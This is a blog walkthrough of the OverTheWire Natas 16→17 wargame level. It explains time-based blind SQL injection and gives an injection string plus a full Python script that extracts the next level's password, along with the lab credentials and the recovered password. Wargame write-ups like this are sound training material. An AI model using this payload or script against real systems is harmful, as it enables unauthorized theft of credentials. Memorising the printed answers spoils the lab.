Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 16 → 17 tutorial!!

Login

URL: http://natas17.natas.labs.overthewire.org
Credentials: natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC

# Using curl (optional):
curl -u natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC 
  http://natas17.natas.labs.overthewire.org/

homepage


Task

This level is another blind SQL injection, but the page prints no message at all. So we can’t check content — we must use timing (response delay) to tell true/false.


A little bit of Theory

Relevant logic (simplified):

if (array_key_exists("username", $_REQUEST)) {
  $link = mysql_connect('localhost','natas17','<censored>');
  mysql_select_db('natas17', $link);

  $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
  $res = mysql_query($query, $link);

  // No success/fail text is echoed
}

Because output is the same in both cases, we inject a condition that makes MySQL sleep when true:

natas18" AND password LIKE BINARY "<prefix>%" AND SLEEP(5)-- 

If <prefix> is correct so far ⇒ the query sleeps ~5s (slow response). If not ⇒ returns immediately (fast).


Solution

Step 1: Craft the injection

We’ll probe with LIKE BINARY "<prefix>%" so the check is case-sensitive.

natas18" AND password LIKE BINARY "<prefix>%" AND SLEEP(5)-- 

Step 2: Automate with Python (robust timing)

import requests, time, sys
from string import ascii_lowercase, ascii_uppercase, digits

URL = "http://natas17.natas.labs.overthewire.org/"
AUTH = ("natas17", "EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC")
CHARSET = ascii_lowercase + ascii_uppercase + digits

SLEEP_SEC = 5          # what we ask MySQL to sleep
THRESHOLD = 2.5        # treat responses slower than this as TRUE
TIMEOUT = 8

s = requests.Session()
s.auth = AUTH

password = ""
while len(password) < 32:
    for ch in CHARSET:
        prefix = password + ch
        payload = {
            "username": f'natas18" AND password LIKE BINARY "{prefix}%" AND SLEEP({SLEEP_SEC})-- '
        }
        t0 = time.perf_counter()
        try:
            r = s.post(URL, data=payload, timeout=TIMEOUT)
        except requests.Timeout:
            # definite sleep ⇒ TRUE
            sys.stdout.write(ch); sys.stdout.flush()
            password += ch
            break
        dt = time.perf_counter() - t0

        if dt > THRESHOLD:
            sys.stdout.write(ch); sys.stdout.flush()
            password += ch
            break
print("\nRecovered password:", password)

Notes:

  • If your network is noisy, raise SLEEP_SEC (5–7) and TIMEOUT (10–12).
  • If you see false positives, bump THRESHOLD slightly (e.g., 3.0–3.5).
  • BINARY keeps comparisons case-sensitive.

run


Password

Found on my run:

6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ

Use this to log in to natas18.


Troubleshooting

  • Always fast responses? → Your injection may be malformed. Ensure quotes and -- (with a trailing space) are present.
  • Random slow spikes? → Increase SLEEP_SEC and THRESHOLD, or sample each char multiple times and take the majority.
  • Script halts mid-run? → Just re-run; already discovered prefix is printed immediately, so it resumes fast.

Boom 🎉 You just executed a time-based blind SQL injection and extracted the next password. On to natas18!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with